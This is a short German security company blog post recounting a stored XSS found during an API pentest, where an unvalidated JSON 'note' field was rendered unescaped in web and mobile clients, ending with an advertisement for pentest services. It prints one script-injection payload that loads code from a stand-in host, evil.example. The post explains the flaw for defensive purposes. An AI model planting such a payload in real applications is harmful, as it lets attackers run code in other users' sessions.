Karte Österreich

Real World XSS in moderner API – so leicht geht’s

Eine reale Schwachstelle aus einem API-Pentest – warum JSON-basierte Systeme nicht automatisch sicher sind.

📅 27. Mai 2025 · ✍️ David Hofer · ⏱️ 3 Minuten Lesezeit

Moderne APIs sind oft RESTful, JSON-basiert und gut dokumentiert – aber das schützt sie nicht vor klassischen Web-Schwachstellen. In einem reellen Assessment fanden wir eine persistente XSS in einer API, die von mehreren Frontends konsumiert wurde – ausgelöst durch ein einziges fehlendes Validierungsfeld.

Der Angriffsvektor: Eingabefeld „note“

Die API nahm POST-Requests mit einem Feld note entgegen, das in der Datenbank gespeichert und über verschiedene Clients (Web und Mobile) angezeigt wurde. Das Backend prüfte zwar das JSON-Schema, aber nicht den tatsächlichen Inhalt des Strings.

{
  "note": "<script src=//evil.example/x.js></script>"
}
    

Beispielinhalt – Ziel-Domain anonymisiert.

Warum das funktionierte

Die Web-Anwendung renderte den Wert direkt in einem HTML-Kontext, ohne Escaping. Auch der mobile Client zeigte HTML-basiert an – einschließlich Skriptausführung. Besonders kritisch: Es gab kein Output-Encoding auf Server-Seite.

Lessons Learned

Tools & Technik

Für Analyse und Exploit-Verifikation setzten wir u. a. auf Burp Suite, PayloadsAllTheThings sowie angepasste Repeater-Sessions, um persistente Einträge über mehrere API-Endpunkte zu testen.

🧪 Wann wurde Ihre API zuletzt auf XSS getestet?

Unser Applikations- / API-Pentest findet genau solche Schwachstellen – bevor es Angreifer tun.

Jetzt testen lassen

👉 Zurück zur Blog-Übersicht